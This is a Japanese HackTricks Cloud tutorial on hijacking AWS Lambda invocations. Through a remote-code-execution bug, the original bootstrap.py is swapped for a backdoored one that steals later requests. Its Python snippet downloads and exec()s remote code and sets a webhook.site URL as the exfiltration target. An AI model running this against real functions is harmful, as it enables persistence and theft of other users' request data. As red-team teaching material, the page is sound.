AWS - Lambdaリクエストの盗難
Reading time: 6 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Lambdaフロー
.png)
https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png
- Slicerはコンテナ外のプロセスで、initプロセスに呼び出しを送信します。
- initプロセスはポート9001でリッスンし、いくつかの興味深いエンドポイントを公開しています:
/2018-06-01/runtime/invocation/next
– 次の呼び出しイベントを取得/2018-06-01/runtime/invocation/{invoke-id}/response
– 呼び出しのハンドラー応答を返す/2018-06-01/runtime/invocation/{invoke-id}/error
– 実行エラーを返す
- bootstrap.pyはinitプロセスから呼び出しを取得するループを持ち、それらを処理するためにユーザーコードを呼び出します(
/next
)。 - 最後に、bootstrap.pyはinitに応答を送信します。
bootstrapはユーザーコードをモジュールとして読み込むため、ユーザーコードによって実行されるコードは実際にはこのプロセス内で発生しています。
Lambdaリクエストの盗難
この攻撃の目的は、ユーザーコードが脆弱なリクエストを処理する**bootstrap.py
プロセス内で悪意のあるbootstrap.py
プロセスを実行させることです。このようにして、悪意のあるbootstrapプロセスはinitプロセスと通信を開始し、リクエストを処理しますが、正当なbootstrapはトラップ**されて悪意のあるものを実行しているため、initプロセスにリクエストを要求しません。
これは、ユーザーのコードが正当な**bootstrap.py
**プロセスによって実行されているため、簡単に達成できるタスクです。したがって、攻撃者は次のことができます:
- 現在の呼び出しの偽の結果をinitプロセスに送信し、initがbootstrapプロセスがさらに呼び出しを待っていると考えさせる。
- リクエストは**
/${invoke-id}/response
**に送信する必要があります。 - invoke-idは、正当な**
bootstrap.py
プロセスのスタックからinspect pythonモジュールを使用して取得することができます(ここで提案されたように)または再度/2018-06-01/runtime/invocation/next
**にリクエストすることでも取得できます(ここで提案されたように)。 - 次の呼び出しを処理する悪意のある**
boostrap.py
**を実行する。 - ステルス性の目的で、lambda呼び出しパラメータを攻撃者が制御するC2に送信し、その後リクエストを通常通り処理することが可能です。
- この攻撃では、システムから**
bootstrap.py
**の元のコードを取得するか、githubから取得し、悪意のあるコードを追加して現在のlambda呼び出しから実行するだけで十分です。
攻撃手順
- RCE脆弱性を見つける。
- 悪意のある bootstrapを生成する(例:https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)。
- 悪意のあるbootstrapを実行する。
これらのアクションは簡単に実行できます:
python3 <<EOF
import os
import urllib3
# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data
# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"
exec(new_runtime)
EOF
詳細については、https://github.com/carlospolop/lambda_bootstrap_switcherを確認してください。
参考文献
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。